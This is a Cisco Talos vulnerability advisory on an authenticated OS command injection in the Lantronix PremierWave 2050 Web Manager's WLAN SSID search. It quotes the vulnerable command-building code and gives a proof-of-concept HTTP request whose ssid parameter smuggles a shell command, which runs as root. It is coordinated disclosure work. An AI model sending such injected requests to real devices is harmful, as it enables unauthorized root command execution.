Talos Vulnerability Report

TALOS-2021-1325

Lantronix PremierWave 2050 Web Manager Wireless Network Scanner OS command injection vulnerability

NOVEMBER 15, 2021

CVE NUMBER

CVE-2021-21881

Summary

An OS command injection vulnerability exists in the Web Manager Wireless Network Scanner functionality of Lantronix PremierWave 2050 8.9.0.0R4. A specially-crafted HTTP request can lead to command execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

Tested Versions

Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU)

Product URLs

https://www.lantronix.com/products/premierwave2050/

CVSSv3 Score

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

Details

PremierWave 2050 is an embedded Wi-Fi Module manufactured by Lantronix.

The PremierWave2050 Web Manager provides a “WLAN Scan/QuickConnect” interface that allows an unprivileged, authenticated user to scan for and connect to nearby Wi-Fi networks. It also allows the user to specify the name of a particular SSID for which to search. This search feature is implemented using a `system` call to to the `/usr/sbin/wpa_cli` application, and the underlying command is built using an unsanitized and attacker-controlled HTTP parameter, `ssid`. This command is executed with root privileges.

The relevant portions of the function responsible for handling the `WLANScanSSID` ajax endpoint are included below.

```
ssid = get_POST_parameter("ssid");
...
snprintf(
    cmd,
    0x100u,
    "/usr/sbin/wpa_cli -i wlan0 scan_results 2>/dev/null | tail -n+2 | awk -F'\\t' '{IGNORECASE=0}{ if( ($5 ~ \"%s\") ) print}'",
    ssid);
exec_system_cmd_ex(cmd, &result, &num_bytes);
```

The following HTTP request triggers the vulnerability by attempting to execute a WLAN Scan with a malicious `ssid` field.

```
POST / HTTP/1.1
Host: [IP]:[PORT]
Content-Length: 97
Authorization: Basic dXNlcjp1c2Vy
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

ajax=WLANScanSSID&iehack=&Scan=Scan&netnumber=1&2=link&3=3&ssid="'; whoami #
```

The above request results in the execution of the following command:

```
 /usr/sbin/wpa_cli -i wlan0 scan_results 2>/dev/null | tail -n+2 | awk -F'\t' '{IGNORECASE=0}{ if ( ($5 ~ ""; whoami #
```

Timeline

2021-06-14 - Vendor Disclosure

2021-06-15 - Vendor acknowledged

2021-09-01 - Talos granted disclosure extension to 2021-10-15

2021-10-18 - Vendor requested release push to 2nd week of November. Talos confirmed final extension and disclosure date

2021-11-15 - Public Release

CREDIT

Discovered by Matt Wiseman of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

TALOS-2021-1324

NEXT REPORT

TALOS-2021-1326